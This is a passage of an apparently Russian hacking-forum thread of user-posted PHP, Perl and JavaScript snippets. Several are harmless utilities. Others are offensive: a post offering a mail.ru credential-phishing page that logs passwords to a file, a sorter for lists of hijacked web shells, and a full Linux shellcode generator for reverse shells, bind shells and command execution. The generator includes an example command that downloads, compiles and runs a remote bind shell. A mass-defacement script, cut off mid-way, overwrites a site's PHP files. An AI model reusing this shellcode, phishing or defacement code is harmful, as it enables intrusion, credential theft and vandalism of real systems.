if (strpos($data,"400") or strpos($data,"401") or strpos($data,"402") or strpos($data,"403") or strpos($data,"405") or strpos($data,"406") or strpos($data,"407") or strpos($data,"408") or strpos($data,"409") or strpos($data,"410") or strpos($data,"411") or strpos($data,"412") or strpos($data,"413") or strpos($data,"414") or strpos($data,"415") or strpos($data,"416") or strpos($data,"417") or strpos($data,"422") or strpos($data,"423") or strpos($data,"424") or strpos($data,"426")) {
echo '<a href="http://'.$url.'/'.$dir.'">'.$dir.'</a> <font color="Red">'.$data.'</font>';
fwrite($sea, '<a href="http://'.$url.'/'.$dir.'">'.$dir.'</a> <font color="Red">'.$data."</font><br>\r\n");
}
if (strpos($data,"300") or strpos($data,"301") or strpos($data,"302") or strpos($data,"303") or strpos($data,"304") or strpos($data,"305") or strpos($data,"306") or strpos($data,"307")) {
echo '<a href="http://'.$url.'/'.$dir.'">'.$dir.'</a> <font color="Navy">'.$data.'</font>';
fwrite($sea, '<a href="http://'.$url.'/'.$dir.'">'.$dir.'</a> <font color="Navy">'.$data."</font><br>\r\n");
}
if (strpos($data,"500") or strpos($data,"501") or strpos($data,"502") or strpos($data,"503") or strpos($data,"504") or strpos($data,"505") or strpos($data,"506") or strpos($data,"507") or strpos($data,"510")) {
echo '<a href="http://'.$url.'/'.$dir.'">'.$dir.'</a> <font color="DarkOrange">'.$data.'</font>';
fwrite($sea, '<a href="http://'.$url.'/'.$dir.'">'.$dir.'</a> <font color="DarkOrange">'.$data."</font><br>\r\n");
}
}
flush();
}
if ($cont > 20) sleep($cont/20); # если кол-во потоков более 20ти штук, идёт слип каждые [потоки/20] секунд (просто мне так захотелось)
$end = microtime(true) - $sta1;
fwrite($sea, $end);
fclose($sea);
fclose($fp);
}
}
?>
</pre>
</body>
</html>

http://rapidshare.com/files/207340257/index.php.html
а то пробелы форум лишние ставит=\

Pashkela
10.03.2009, 04:15
Работает во всех браузерах, сразу заходит в почту, есть выбор домена (inbox.ru, mail.ru и etc.), всё в одном файле:

index.php:

http://slil.ru/27037711

(просто код большой, сюда не влазит)

Все логины/пароли пишутся в mails.txt в том же каталоге, где и этот index.php

eLWAux
10.03.2009, 16:18
скрипт загрузки изображений на radikal.ru

perl
#! /usr/bin/perl
use IO::Socket::INET;

# forming header's ..
$request1 = "POST http://www.radikal.ru/action.aspx HTTP/1.1\r\n".
"Host: www.radikal.ru\r\n".
"User-Agent: Mozilla/5.0\r\n".
"Connection: close\r\n".
"Referer: http://www.radikal.ru\r\n".
"Content-Type: multipart/form-data; boundary=:boundary:\r\n".
"Content-Length: :length:\r\n\r\n";
$request2 = "--:boundary:\r\n".
"Content-Disposition: form-data; name=\"upload\"\r\n".
"\r\nyes\r\n".
"--:boundary:\r\n".
"Content-Disposition: form-data; name=\"F\"; filename=\":name:\"\r\n".
"Content-Type: image/:type:\r\n\r\n";

# file name,type
$file = shift or die "use: $0 <image>\n";
$fsize = -s $file;
($fname) = $file =~ /([^\/]+)$/;
($ftype) = $fname =~ /\.([^\.]+)$/;
unless($fname && $ftype) { die "[-] invalid filename\n"; }

# read file
open FID, $file or die "[-] failed to open $file!\n";
sysread(FID, $data, $fsize);
close FID;

$boundry = '---------------------------2132365407679';

$request2 =~ s/:boundary:/$boundry/;
$request2 =~ s/:boundary:/$boundry/;
$request2 =~ s/:name:/$fname/;
$request2 =~ s/:type:/$ftype/;
$request2 .= $data."\r\n--$boundry--\r\n";
$length = length($request2);
$request1 =~ s/:boundary:/$boundry/;
$request1 =~ s/:length:/$length/;
$request1 .= $request2;


# create socket
*SOCK = IO::Socket::INET->new(
PeerAddr => "radikal.ru",
PeerPort => 80,
Proto => 'tcp',
Type => SOCK_STREAM)
or die("[-] connection failed!\n");

# read sock answer
$buff = "";
print SOCK $request1;
while($line = <SOCK>){
$buff .= $line;
if ($line=~/<\/html>/) {last;}
}
close SOCK;

# parce
$buff =~ /<a href="http:\/\/(.*)" target="_blank">/;
print 'Link: http://'.$1."\n";

Shadow_p1raT
10.03.2009, 17:07
Писал когда учил php)Может кому пригодится.
Функция для обработки массивов в массивах :-)

function reBuild($array) {
foreach($array as $key=>$value) {
if(is_array($value)) {
$array[$key] = reBuild($value);
continue;
}
$array[$key] = htmlspecialchars($value);
}
return $array;
}
$_GET = reBuild($_GET);

Или так

$in = array(&$_GET, &$_POST, &$_COOKIE);
while (list($k, $v) = each($in)) {
foreach ($v as $key => $val) {
if (!is_array($val)) {
$in[$k][$key] = htmlspecialchars($val);
continue;
}
$in[] = &$in[$k][$key];
}
}
unset($in);

RegStuff
10.03.2009, 21:58
eLWAux, ну и ужос. вот 13 строчек из привата:

use warnings;
use strict;
use LWP::UserAgent;

my $im = shift || die "Nety kartinki\n";

my $ua = LWP::UserAgent->new;
my $load = $ua->post('http://www.radikal.ru/action.aspx',
Content_type => 'multipart/form-data',
Content => [upload => 'yes',
F => [$im]])->content;

$load =~ m,"img4prev" src="(.+?)",i ? print $1 : print "XYI"

eLWAux
10.03.2009, 22:03
RegStuff, отличия видиш?!

ти используеш говорий компонент LWP::UserAgent;
а все делаю вручную, через сокети.
твои 13 строчек на LWP, то самое что и мой 26 на сокетах, а то и больше

print "XYI"
мегакодер

RegStuff
10.03.2009, 22:05
ти используеш говорий компонент LWP::UserAgent;
а все делаю вручную, через сокети.
твои 13 строчек на LWP, то самое что и мой 26 на сокетах, а то и больше

эльвипи это делает за тебя, балбес :(

мегакодер
эт не я, это из привата

PS: бачи на русской мове, не понятно ничего почти

b3
11.03.2009, 18:04
Для GD
Если вы привыкли задавать цвет так, как это делается в HTML, то можете использовать следующую функцию:

function htmlcolor($img,$color) {
sscanf($color, "%2x%2x%2x", $red, $green, $blue);
return ImageColorAllocate($img,$red,$green,$blue);
return($c);
}

$red=htmlcolor($img,"FF0000");

real_kas
11.03.2009, 18:57
а то пробелы форум лишние ставит=

для такого случая посовтую сервис http://dumpz.org. там выкладываешь исходник, он его не бьет... вроде :)

159932
11.03.2009, 19:02
2 real_kas
мне как то и рапида подходит..

real_kas
12.03.2009, 00:48
2 real_kas
мне как то и рапида подходит..

если архив это да. а если кусок кода то нет. рапида неудобная до ужаса...

ph1l1ster
12.03.2009, 14:39
надо было рассортироватьшеллы...
простенький сортировщик шеллов в один поток, сортирует по winddows, linux, freebsd.

#!usr/bin/perl
use LWP::UserAgent;
print "\n\nEnter Shells file name:";
$shells = <STDIN>;
open(SHELLS,$shells) || die "\n# Can not open $shells";
open(WIN, ">>wind_shells.txt");
open(LIN, ">>lin_shells.txt");
open(BSD, ">>freebsd_shells.txt");
sub search($url,$win,$lin,$bsd)
{
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
$win="Windows";
$lin="Linux";
$bsd="FreeBSD";
if (index($answer->content,$win)>-1)
{
print WIN "$url\n";
}
if (index($answer->content,$lin)>-1)
{
print LIN "$url";
}
if (index($answer->content,$bsd)>-1)
{
print BSD "$url";
}
}
print "## Sorting...\n";
while (defined($url=<SHELLS>))
{
&search($url,$win,$lin,$bsd) ;
}

heretic1990
12.03.2009, 17:32
Строка в поле статуса, мелочь, но иногда бывает полезной!

Вылетающие сообщение в строке статуса

<script language="JavaScript" type="text/javascript">
function snapIn(jumpSpaces,position) {
var msg = "Добро пожаловать!!!"
var out = ""
if (killScroll) {return false}
for (var i=0; i<position; i++)
{out += msg.charAt(i)}
for (i=1;i<jumpSpaces;i++)
{out += " "}
out += msg.charAt(position)
window.status = out
if (jumpSpaces <= 1) {
position++
if (msg.charAt(position) == ' ')
{position++ }
jumpSpaces = 100-position
} else if (jumpSpaces > 3)
{jumpSpaces *= .75}
else
{jumpSpaces--}
if (position != msg.length) {
var cmd = "snapIn(" + jumpSpaces + "," + position + ")";
scrollID = window.setTimeout(cmd,5);
} else {
scrolling = false
return false
}
return true
}
function snapSetup() {
if (scrolling)
if (!confirm('Re-initialize snapIn?'))
return false
killScroll = true
scrolling = true
var killID = window.setTimeout('killScroll=false',6)
scrollID = window.setTimeout('snapIn(100,0)',10)
return true
}
var scrollID = Object
var scrolling = false
var killScroll = false
</script>





Мигающая строка в поле статуса

<script language="JavaScript" type="text/javascript">
<!--//
var yourwords="Добро пожаловать!";
var speed=600;
var control=1;
function flash()
{
if (control==1)
{
window.status=yourwords;control=0
}
else {
window.status="";control=1
}
setTimeout("flash();",speed) };
flash();
//-->
</script>


Текст в строке состояния браузера неподвижный

<script language=JavaScript>
<!--
var tlp_ststtext="Добро пожаловать!";function tlp_ststfnc(){window.status=tlp_ststtext;tmp=setTi meout("tlp_ststfnc()",10);}tlp_ststfnc();
//-->
</script>


Текст в строке состояния браузера подвижный

<script language=JavaScript>
<!--
var scrolltext = "Добро пожаловать!";
var lenscrolltext = scrolltext.length;
var width = 100;
var pos = 1-width;
var tlp_std = 100;
function tlp_sfu() {pos++;var scroller="";if (pos==lenscrolltext) {pos=1-width;}if (pos<0) {for (var i=1; i<=Math.abs(pos); i++) {scroller=scroller+" ";}scroller=scroller+scrolltext.substring(0,width-i+1);}else {scroller=scroller+scrolltext.substring(pos,width+ pos);}window.status = scroller;setTimeout("tlp_sfu()", tlp_std);}tlp_sfu();
//-->
</script>

Постепенный вывод заголовка документа


<script><!--//
var tit = document.title;
var c = 0;
function writetitle() {
document.title = tit.substring(0,c);
if(c==tit.length)
{
c = 0;
setTimeout("writetitle()", 3000)
}
else {
c++;
setTimeout("writetitle()", 200)
}
}
writetitle()
// -->
</script>

mailbrush
12.03.2009, 17:41
heretic1990, копирайты?

Pashkela
12.03.2009, 20:43
Обновленная GUI-версия сканера сайтов на папки/файлы. Обновления:

1. Поддержка прокси без авторизации
2. Поддержка прокси с авторизацией
3. Возможность выставлять паузу между запросами (в секундах)
4. Найденные папки/файлы отображаются в виде дерева
5. Возможность сканить подпапки просто нажав на соответствующую ветвь дерева
6. Возможность сохранить результаты в уникальный файл (имя_хоста.txt)
7. Возможность сканить новый сайт без выхода из программы (кнопка Reset)
8. Возможность редактировать ошибки, выданные сайтом, когда страница не существует

Cкачать (http://bug-track.ru/prog/Sitescaner1.1.rar)

http://s56.radikal.ru/i152/0903/a6/ba2460d7484b.jpg

как поиметь свой личный приватный прокси, который по параметрам вполне подходит для таких дел, читаем

ЗДЕСЬ (https://forum.antichat.ru/thread53202.html)

bombeg
12.03.2009, 21:17
heretic1990, это не полезные скрипты, а пережиток с сайтов народа 2000-2001 годов.

Sharky
13.03.2009, 18:26
Pashkela а как это к php или perl относится?

Phm.phx
13.03.2009, 19:55
хуиз если влом на сайты лезть
<html>
<head>
<title>WHOIS</title>
</head>
<body>
<center>
<H4> IPшник</H4>
<FORM action=ip.php method=post>
<INPUT type=text name=ip size=40>
<input type=submit value='ок'>
</form>
</center>
<?php if ($ip!="")
{ $sock = fsockopen ("whois.arin.net",43,$errno,$errstr); //соединение с сокетом TCP, ожидающим на сервере "whois.arin.net" на 43 порту. Возвращение дескриптора соединения
if (!$sock) {
echo("$errno($errstr)");
return;
}
else { fputs ($sock, $ip."rn"); //запись строки из переменной $ip в дескриптор сокета
while (!feof($sock)) { echo (str_replace(":",": ",fgets ($sock,128))."<br>"); //чтение дескриптора сокета
}
}
fclose ($sock); //закрытие соединения
}
?> </body> </html>

rushter
13.03.2009, 20:07
Pashkela а как это к php или perl относится?
на php написано если не ошибаюсь...
с gui

heretic1990
13.03.2009, 20:52
Скрипт отражения изображения

reflection.js

document.getElementsByClassName = function(className) {
var children = document.getElementsByTagName('*') || document.all;
var elements = new Array();

for (var i = 0; i < children.length; i++) {
var child = children[i];
var classNames = child.className.split(' ');
for (var j = 0; j < classNames.length; j++) {
if (classNames[j] == className) {
elements.push(child);
break;
}
}
}
return elements;
}

var Reflection = {
defaultHeight : 0.5,
defaultOpacity: 0.5,

add: function(image, options) {
Reflection.remove(image);

doptions = { "height" : Reflection.defaultHeight, "opacity" : Reflection.defaultOpacity }
if (options) {
for (var i in doptions) {
if (!options[i]) {
options[i] = doptions[i];
}
}
} else {
options = doptions;
}

try {
var d = document.createElement('div');
var p = image;

var classes = p.className.split(' ');
var newClasses = '';
for (j=0;j<classes.length;j++) {
if (classes[j] != "reflect") {
if (newClasses) {
newClasses += ' '
}

newClasses += classes[j];
}
}

var reflectionHeight = Math.floor(p.height*options['height']);
var divHeight = Math.floor(p.height*(1+options['height']));

var reflectionWidth = p.width;

if (document.all && !window.opera) {
/* Fix hyperlinks */
if(p.parentElement.tagName == 'A') {
var d = document.createElement('a');
d.href = p.parentElement.href;
}

/* Copy original image's classes & styles to div */
d.className = newClasses;
p.className = 'reflected';

d.style.cssText = p.style.cssText;
p.style.cssText = 'vertical-align: bottom';

var reflection = document.createElement('img');
reflection.src = p.src;
reflection.style.width = reflectionWidth+'px';

reflection.style.marginBottom = "-"+(p.height-reflectionHeight)+'px';
reflection.style.filter = 'flipv progid:DXImageTransform.Microsoft.Alpha(opacity='+ (options['opacity']*100)+', style=1, finishOpacity=0, startx=0, starty=0, finishx=0, finishy='+(options['height']*100)+')';

d.style.width = reflectionWidth+'px';
d.style.height = divHeight+'px';
p.parentNode.replaceChild(d, p);

d.appendChild(p);
d.appendChild(reflection);
} else {
var canvas = document.createElement('canvas');
if (canvas.getContext) {
/* Copy original image's classes & styles to div */
d.className = newClasses;
p.className = 'reflected';

d.style.cssText = p.style.cssText;
p.style.cssText = 'vertical-align: bottom';

var context = canvas.getContext("2d");

canvas.style.height = reflectionHeight+'px';
canvas.style.width = reflectionWidth+'px';
canvas.height = reflectionHeight;
canvas.width = reflectionWidth;

d.style.width = reflectionWidth+'px';
d.style.height = divHeight+'px';
p.parentNode.replaceChild(d, p);

d.appendChild(p);
d.appendChild(canvas);

context.save();

context.translate(0,image.height-1);
context.scale(1,-1);

context.drawImage(image, 0, 0, reflectionWidth, image.height);

context.restore();

context.globalCompositeOperation = "destination-out";
var gradient = context.createLinearGradient(0, 0, 0, reflectionHeight);

gradient.addColorStop(1, "rgba(255, 255, 255, 1.0)");
gradient.addColorStop(0, "rgba(255, 255, 255, "+(1-options['opacity'])+")");

context.fillStyle = gradient;
if (navigator.appVersion.indexOf('WebKit') != -1) {
context.fill();
} else {
context.fillRect(0, 0, reflectionWidth, reflectionHeight*2);
}
}
}
} catch (e) {
}
},

remove : function(image) {
if (image.className == "reflected") {
image.className = image.parentNode.className;
image.parentNode.parentNode.replaceChild(image, image.parentNode);
}
}
}

function addReflections() {
var rimages = document.getElementsByClassName('reflect');
for (i=0;i<rimages.length;i++) {
var rheight = null;
var ropacity = null;

var classes = rimages[i].className.split(' ');
for (j=0;j<classes.length;j++) {
if (classes[j].indexOf("rheight") == 0) {
var rheight = classes[j].substring(7)/100;
} else if (classes[j].indexOf("ropacity") == 0) {
var ropacity = classes[j].substring(8)/100;
}
}

Reflection.add(rimages[i], { height: rheight, opacity : ropacity});
}
}

var previousOnload = window.onload;
window.onload = function () { if(previousOnload) previousOnload(); addReflections(); }


Незабываем потом его подключить))

<script type="text/javascript" src="reflection.js"></script>


пример использования:
<img src="example.jpg" alt="" class="reflect" />

Shadow_p1raT
14.03.2009, 16:14
Написал альтернативную функцию для работы с вебом.
Использует file_get_contents()

function sock_do($action,$method,$header = false,$params = false,$proxy = false,$cookie = false,$referer = false)
{
$out = array('http' => array());
$method = strtoupper($method);
if($method == 'GET') {
$action .= '?'.$params;
$out['http']['method'] = 'GET';

} elseif($method == 'POST') {
$out['http']['method'] = 'POST';
$out['http']['header'] = "Content-type: application/x-www-form-urlencoded\r\n".
"Content-length: ".strlen($params)."\r\n";
$out['http']['content'] = $params;
} else {

die('Йа криветко');
}
if($proxy) {
$out['http']['proxy'] = 'tcp://'.$proxy;
}
if($cookie) {
$out['http']['header'] .= 'Cookie: '.$cookie."\r\n";
}
if($referer) {
$out['http']['header'] .= 'Referer: '.$referer."\r\n";
}
$out['http']['header'] .= "Connection: close\r\n";

$content = stream_context_create($out);
$result = @file_get_contents($action,false,$content);
$res = array();
$res = array($result);
if($header) {
$res[] = implode("\r\n",$http_response_header);
}
return $res; //Возвращаем ответ + заголовки
}
# [пример использования]
$send = sock_do('http://microsoft.com/private/index.php','GET',1,'login=bill&password=antichat');# аналагично с POST
print_R($send);# В первом кдюче ответ сервера во втором заголовки

Спросите для чего @ перед file_get_contens() ?
Если вы обратитесь к серверу и он вас хидером перенаправит ну другой хост то file_get_contents вернёт ошибку:-)В таком случае в переменной $header должно быть true.Далее парсим заголовки)

Pashkela
14.03.2009, 18:18
Pashkela а как это к php или perl относится?

самым прямым образом

ph1l1ster
15.03.2009, 14:59
Linux shellcode generator

#!/usr/bin/perl
# linux shellcode generator [x86,x86-64][reverse shell, bind shell, execute cmd]
# contact: xzid420[at]gmail.com
use strict;
use warnings;
use Getopt::Long;

my $comment=q{
-------------------------
reverse shell x86
-------------------------
xor %edx,%edx
push $0x06
push $0x01
push $0x02
mov %esp,%ecx
push $0x66
pop %eax
push $0x01
pop %ebx
int $0x80
movb $0x02,(%esp)
movw $0xbc01,2(%esp) # htons(444);
movl $0xa0a0a0a,4(%esp) # inet_addr("10.10.10.10");
mov %esp,%ecx
push $0x10
push %ecx
push %eax
mov %esp,%ecx
push %eax
mov %esp,%ebp
push $0x66
pop %eax
push $0x03
pop %ebx
int $0x80
mov %ebp,%esp
pop %ebx
push $0x03
pop %ecx

dup2loop:
dec %ecx
push $63
pop %eax
int $0x80
jnz dup2loop

push %edx
push $0x68732f6e # hs/n
push $0x69622f2f # ib//
mov %esp,%ebx
xor %ecx,%ecx
push $0x0b
pop %eax
int $0x80
-------------------------
reverse shell x86-64
-------------------------
xorq %rdx,%rdx
pushq $0x29
pop %rax
push $0x01
pop %rsi
push $0x02
pop %rdi
syscall

xchgq %rax,%rdi
movb $0x02,(%rsp)
movw $0x6007,2(%rsp) #; htons(1087);
movl $0xa0a0a0a,4(%rsp) #; inet_addr("10.10.10.10");
movq %rsp,%rsi
push $0x10
pop %rdx
push $0x2a
pop %rax
syscall
push $0x03
pop %rsi

dup2loop:
dec %rsi
push $33
pop %rax
syscall
jnz dup2loop

xorq %rdx,%rdx
movq $0x68732f6e69622f2f,%rbx
shr $0x8,%rbx
pushq %rbx
movq %rsp,%rdi
pushq %rdx
pushq %rdi
movq %rsp,%rsi
push $59
pop %rax
syscall
-------------------------
bind shell x86
-------------------------
xor %edx,%edx
push $0x06
push $0x01
push $0x02
mov %esp,%ecx
push $0x66
pop %eax
push $0x01
pop %ebx
int $0x80

mov %eax,%edi
movb $0x02,(%esp)
movw $0xbc01,2(%esp) # htons(444)
movl %edx,4(%esp) # 0[INADDR_ANY]
mov %esp,%ecx
push $0x10
push %ecx
push %eax
mov %esp,%ecx
push %eax
mov %esp,%ebp
push $0x66
pop %eax
push $0x02
pop %ebx
int $0x80

push $0x05
push %edi
mov %esp,%ecx
push $0x66
pop %eax
push $0x04
pop %ebx
int $0x80

push %edx
push %edx
push %edi
mov %esp,%ecx
push $0x05
pop %ebx
push $0x66
pop %eax
int $0x80
xchg %ebx,%eax
push $0x03
pop %ecx

dup2loop:
dec %ecx
push $63
pop %eax
int $0x80
jnz dup2loop

push %edx
push $0x68732f6e # hs/n
push $0x69622f2f # ib//
mov %esp,%ebx
xor %ecx,%ecx
push $0x0b
pop %eax
int $0x80
-------------------------
bind shell x86-64
-------------------------
xorq %rdx,%rdx
pushq $0x29
pop %rax
push $0x01
pop %rsi
push $0x02
pop %rdi
syscall

xchgq %rax,%rdi
xorq %rax,%rax
movb $0x02,(%rsp)
movw $0x6007,2(%rsp) #; htons(1087);
movl %eax,4(%rsp) #; 0[INADDR_ANY]
movq %rsp,%rsi
push $0x10
pop %rdx
push $49
pop %rax
syscall

push $0x01
pop %rsi
push $50
pop %rax
syscall

xorq %rsi,%rsi
xorq %rdx,%rdx
push $43
pop %rax
syscall

xchgq %rax,%rdi
push $0x03
pop %rsi

dup2loop:
dec %rsi
push $33
pop %rax
syscall
jnz dup2loop

xorq %rdx,%rdx
movq $0x68732f6e69622f2f,%rbx
shr $0x8,%rbx
pushq %rbx
movq %rsp,%rdi
pushq %rdx
pushq %rdi
movq %rsp,%rsi
push $59
pop %rax
syscall
-------------------------
execute cmd x86
-------------------------
jmp cmd

shellcode:
pop %ecx
xor %edx,%edx
push %edx
push $0x68732f6e # hs/n
push $0x69622f2f # ib//
mov %esp,%ebx
movw $0x632d,%ax
push %edx
push %ax
mov %esp,%eax
push %edx
push %ecx
push %eax
push %ebx
mov %esp,%ecx
push $0x0b
pop %eax
int $0x80
push $0x01
pop %eax
xor %ebx,%ebx
int $0x80

cmd:
call shellcode
.ascii "wget -q -O shell.c http://remote/file.c;gcc -o bind shell.c;./bind"
-------------------------
execute cmd x86-64
-------------------------
jmp cmd

shellcode:
pop %rcx
xorq %rdx,%rdx
movq $0x68732f6e69622f2f,%rbx # hs/nib//
shr $0x8,%rbx
push %rbx
movq %rsp,%rdi
movw $0x632d,%ax
pushq %rdx
pushq %ax
movq %rsp,%rax
pushq %rdx
pushq %rcx
pushq %rax
pushq %rdi
movq %rsp,%rsi
xorq %rax,%rax
movb $0x3b,%al
syscall
push $0x3c
pop %rax
xorq %rdi,%rdi
syscall

cmd:
call shellcode
.string "wget -q -O shell.c http://remote/file.c;gcc -o bind shell.c;./bind"
-------------------------
};

my($host,$port,$cmd,$amd64,$shellcode);

GetOptions("host=s" => \$host,
"port=i" => \$port,
"cmd=s" => \$cmd,
"64" => \$amd64);

if($host and $port)
{
if($amd64)
{
# x86-64 reverse shell
$shellcode=
'\x48\x31\xd2\x6a\x29\x58\x6a\x01\x5e\x6a\x02\x5f\ x0f\x05\x48\x97\xc6\x04\x24\x02\x66'.
'\xc7\x44\x24\x02'.sport($port).'\xc7\x44\x24\x04' .saddr($host).'\x48\x89\xe6\x6a\x10'.
'\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\ x6a\x21\x58\x0f\x05\x75\xf6\x48\x31'.
'\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\ xc1\xeb\x08\x53\x48\x89\xe7\x52\x57'.
'\x48\x89\xe6\x6a\x3b\x58\x0f\x05';
print "linux/x86-64 reverse shell\n\n";
}
else
{
# x86 reverse shell
$shellcode=
'\x31\xd2\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x6a\x66\ x58\x6a\x01\x5b\xcd\x80\xc6\x04\x24'.
'\x02\x66\xc7\x44\x24\x02'.sport($port).'\xc7\x44\ x24\x04'.saddr($host).'\x89\xe1\x6a'.
'\x10\x51\x50\x89\xe1\x50\x89\xe5\x6a\x66\x58\x6a\ x03\x5b\xcd\x80\x89\xec\x5b\x6a\x03'.
'\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\x52\x68\x6e\ x2f\x73\x68\x68\x2f\x2f\x62\x69\x89'.
'\xe3\x31\xc9\x6a\x0b\x58\xcd\x80';
print "linux/x86 reverse shell\n\n";
}
print "host: $host\n",
"port: $port\n";
}
elsif($port)
{
if($amd64)
{
# x86-64 bind shell
$shellcode=
'\x48\x31\xd2\x6a\x29\x58\x6a\x01\x5e\x6a\x02\x5f\ x0f\x05\x48\x97\x48\x31\xc0\xc6\x04'.
'\x24\x02\x66\xc7\x44\x24\x02'.sport($port).'\x89\ x44\x24\x04\x48\x89\xe6\x6a\x10\x5a'.
'\x6a\x31\x58\x0f\x05\x6a\x01\x5e\x6a\x32\x58\x0f\ x05\x48\x31\xf6\x48\x31\xd2\x6a\x2b'.
'\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\ x21\x58\x0f\x05\x75\xf6\x48\x31\xd2'.
'\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\ xeb\x08\x53\x48\x89\xe7\x52\x57\x48'.
'\x89\xe6\x6a\x3b\x58\x0f\x05';
print "linux/x86-64 bind shell\n\n";
}
else
{
# x86 bind shell
$shellcode=
'\x31\xd2\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x6a\x66\ x58\x6a\x01\x5b\xcd\x80\x89\xc7\xc6'.
'\x04\x24\x02\x66\xc7\x44\x24\x02'.sport($port).'\ x89\x54\x24\x04\x89\xe1\x6a\x10\x51'.
'\x50\x89\xe1\x50\x89\xe5\x6a\x66\x58\x6a\x02\x5b\ xcd\x80\x6a\x05\x57\x89\xe1\x6a\x66'.
'\x58\x6a\x04\x5b\xcd\x80\x52\x52\x57\x89\xe1\x6a\ x05\x5b\x6a\x66\x58\xcd\x80\x93\x6a'.
'\x03\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\x52\x68\ x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69'.
'\x89\xe3\x31\xc9\x6a\x0b\x58\xcd\x80';
print "linux/x86 bind shell\n\n";
}
print "port: $port\n";
}
elsif($cmd)
{
if($amd64)
{
# x86-64 execute cmd
$shellcode=
'\xeb\x35\x59\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\ x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53'.
'\x48\x89\xe7\x66\xb8\x2d\x63\x52\x50\x48\x89\xe0\ x52\x51\x50\x57\x48\x89\xe6\x48\x31'.
'\xc0\xb0\x3b\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\ x05\xe8\xc6\xff\xff\xff'.cmd($cmd);
print "linux/x86-64 execute cmd\n\n";
}
else
{
# x86 execute cmd
$shellcode=
'\xeb\x2b\x59\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\ x2f\x2f\x62\x69\x89\xe3\x66\xb8\x2d'.
'\x63\x52\x66\x50\x89\xe0\x52\x51\x50\x53\x89\xe1\ x6a\x0b\x58\xcd\x80\x6a\x01\x58\x31'.
'\xdb\xcd\x80\xe8\xd0\xff\xff\xff'.cmd($cmd);
print "linux/x86 execute cmd\n\n";
}
print "cmd: $cmd\n";
}
else
{
print "# linux shellcode generator [x86,x86-64][reverse shell, bind shell, execute cmd]\n\n",
"reverse:\n",
" $0 --host <host> --port <port>\n\n",
"bind:\n",
" $0 --port <port>\n\n",
"cmd:\n",
" $0 --cmd <cmd>\n\n",
"args:\n",
" --64 x86-64, default x86\n";
exit;
}

print "shellcode length: ",shellcode_length($shellcode)," bytes\n\n",
"-------------------------\n",
$shellcode,
"\n-------------------------\n";

sub shellcode_length
{
my $scode=shift||return 0;
my @p=split('x',$scode);
return $#p;
}

sub cmd
{
my $c=shift;
$c=~s/(.)/sprintf("\\x%02x",ord($1))/eg;
return $c;
}

sub saddr
{
my $host=shift;
my $s=gethostbyname($host) or die "error: host lookup failed\n";
my @sp=unpack('C4',$s);
my $ret="";
for(< @sp>) {$ret.=sprintf("\\x%.2x",$_);}
print ">> warning: host \"$host\" contains a null byte\n-----------\n" if($ret=~/00/);
return $ret;
}

sub sport
{
my $port=shift;
die "port range: 300-20000\n" if($port<300||$port>20000);
$port=sprintf("%.4x",$port);
$port=~s/(.{2})/\\x$1/g;
return $port;
}

HOSTAL
15.03.2009, 16:32
Тупо исправляет на странслит:)
<?php $n=strlen($string); $i=0; while($i<$n) { switch($string[$i]) { case "А": $string[$i]="A"; break; case "а": $string[$i]="a"; break; case "Б": $string[$i]="B"; break; case "б": $string[$i]="b"; break; case "В": $string[$i]="V"; break; case "в": $string[$i]="v"; break; case "Г": $string[$i]="G"; break; case "г": $string[$i]="g"; break; case "Д": $string[$i]="D"; break; case "д": $string[$i]="d"; break; case "Е": $string[$i]="E"; break; case "е": $string[$i]="e"; break; case "Ё": $string[$i]="E"; break; case "ё": $string[$i]="e"; break; case "Ж": $string[$i]="J"; break; case "ж": $string[$i]="j"; break; case "З": $string[$i]="Z"; break; case "з": $string[$i]="z"; break; case "И": $string[$i]="I"; break; case "и": $string[$i]="i"; break; case "Й": $string[$i]="I"; break; case "й": $string[$i]="i"; break; case "К": $string[$i]="K"; break; case "к": $string[$i]="k"; break; case "Л": $string[$i]="L"; break; case "л": $string[$i]="l"; break; case "М": $string[$i]="M"; break; case "м": $string[$i]="m"; break; case "Н": $string[$i]="N"; break; case "н": $string[$i]="n"; break; case "О": $string[$i]="O"; break; case "о": $string[$i]="o"; break; case "П": $string[$i]="P"; break; case "п": $string[$i]="p"; break; case "Р": $string[$i]="R"; break; case "р": $string[$i]="r"; break; case "С": $string[$i]="S"; break; case "с": $string[$i]="s"; break; case "Т": $string[$i]="T"; break; case "т": $string[$i]="t"; break; case "У": $string[$i]="U"; break; case "у": $string[$i]="u"; break; case "Ф": $string[$i]="F"; break; case "ф": $string[$i]="f"; break; case "Х": $string[$i]="H"; break; case "х": $string[$i]="h"; break; case "Ч": $string[$i]="С"; break; case "ч": $string[$i]="с"; break; case "Ш": $string[$i]="S"; break; case "ш": $string[$i]="s"; break; case "Щ": $string[$i]="S"; break; case "щ": $string[$i]="s"; break; case "Ц": $string[$i]="C"; break; case "ц": $string[$i]="c"; break; case "Ъ": $string[$i]="`"; break; case "ъ": $string[$i]="`"; break; case "Ы": $string[$i]="I"; break; case "ы": $string[$i]="i"; break; case "Ь": $string[$i]="'"; break; case "ь": $string[$i]="'"; break; case "Э": $string[$i]="E"; break; case "э": $string[$i]="e"; break; case "Ю": $string[$i]="U"; break; case "ю": $string[$i]="u"; break; case "Я": $string[$i]="Y"; break; case "я": $string[$i]="y"; break; } $i++; } echo "<form method=post><textarea cols=70 rows=20 name=string></textarea><input type=submit value='Затранслитить:)'> </form>"; echo "<b>".$string."</b>"; ?>

Sharky
16.03.2009, 00:35
HOSTAL оформи код нормально

ph1l1ster
16.03.2009, 01:12
Mass Defacer

#!/usr/bin/perl -w
$def = 'YOUR LAME DEFACE PAGE HERE =)';
{ print "[+]DEFACING...\n";
print"[+]DEFACING .PHP FILES...\n";
my @php = glob("*.php");
foreach my $deface(@php){
open(DEFACE, '>', $deface);
